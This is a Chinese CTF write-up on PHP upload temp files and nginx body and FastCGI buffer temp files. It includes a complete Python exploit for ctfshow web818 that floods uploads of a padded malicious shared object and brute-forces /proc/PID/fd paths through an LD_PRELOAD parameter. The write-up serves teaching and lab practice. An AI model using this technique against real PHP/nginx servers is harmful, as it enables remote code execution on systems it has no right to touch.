nginx缓存带来的临时文件

关于文件上传

来自于ctfshow技术分享

image.png

PHP

PHP临时文件机制

全局变量

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。

$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过PHP脚本上传到服务器的文件至关重要。

1
2
3
4
5
6
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

在临时文件包含漏洞中$_FILES['userfile']['name']这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。

储存目录

临时目录由php.ini的upload_tmp_dir属性指定。假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中。

1
2
3
4
5
6
Linux:
/tmp/

Win:
C:/Windows/
C:/Windows/Temp/

命名规则

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

nginx缓存

body_buffer

官方文档:http://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size

client_body_buffer_size这个参数,也就是nginx关于上传的配置处

image.png

设置读取客户端请求正文的缓冲区大小。 如果请求正文大于缓冲区,则将整个正文或仅其部分写入临时文件。 默认情况下,缓冲区大小等于两个内存页。 这是 x86、其他 32 位平台和 x86-64 上的 8K。 在其他 64 位平台上通常为 16K。

也就是说当body中数据的大于16k的时候就会有临时文件写入。

client_body_in_file_only,默认是关闭

image.png

确定 nginx 是否应将整个客户端请求正文保存到文件中。 该指令可以在调试期间使用,或者在使用 $request_body_file 变量或模块 ngx_http_perl_module 的 $r->request_body_file 方法时使用。

当设置为 on 时,临时文件在请求处理后不会被删除。

值 clean 将导致请求处理后留下的临时文件被删除。

client_body_temp_path,关于临时文件的存放目录

image.png

定义一个目录,用于存储保存客户端请求正文的临时文件。 指定目录下最多可以使用三级子目录层次结构。 例如,在以下配置中

1
client_body_temp_path /spool/nginx/client_temp 1 2;

临时文件的目录就会像下面这样

1
/spool/nginx/client_temp/7/45/00000123457

因此当我们的请求body大于16k的时候,他就会生成缓存到上面这个目录,但是马上又删除了,但是他删除以后,又继续进行了修改和访问

就可以通过/proc/PID/fd/{}来访问到这个临时文件

利用思路

如果我们的so文件临时膨胀到16k以上,也就是在so文件之后加入垃圾字节,就能够让so文件被存入到临时文件中去。

例:ctfshow web818

直接学习羽师傅脚本即可,他这里是用socket库来进行网络请求的。

关键点是31行的恶意字节填充,让hack.so的文件内容写入nginx产生的临时文件

接着用bruter函数对proc目录进行一个爆破即可,这里的pid题目中会给到,所以只用爆破后面的fd即可

羽师傅的脚本真的清晰,学习了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# coding: utf-8

import threading
import socket
import re

port= 28118
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('../hack.so','rb').read()+b'\n'*1024*200)).encode()

def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('../hack.so','rb').read()+b'\n'*1024*200+b'''

'''
s.send(x)
s.close()

def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
print(s.recv(2048).decode())
s.close()


for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()


fastcgi_buffer

http://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffering

fastcgi_buffers

image.png

当启用来自 FastCGI 服务器的响应缓冲时,限制在响应尚未完全读取时可能正忙于向客户端发送响应的缓冲区的总大小。 同时,其余缓冲区可用于读取响应,并在需要时将部分响应缓冲到临时文件。 默认情况下,大小受 fastcgi_buffer_size 和 fastcgi_buffers 指令设置的两个缓冲区的大小限制。

fastcgi_temp_path

image.png

a temporary file might look like this:

1
/spool/nginx/fastcgi_temp/7/45/00000123457

同样对于fastcgi缓存的利用也和上面的body_buffer利用思路一样,只是临时文件保存的目录变了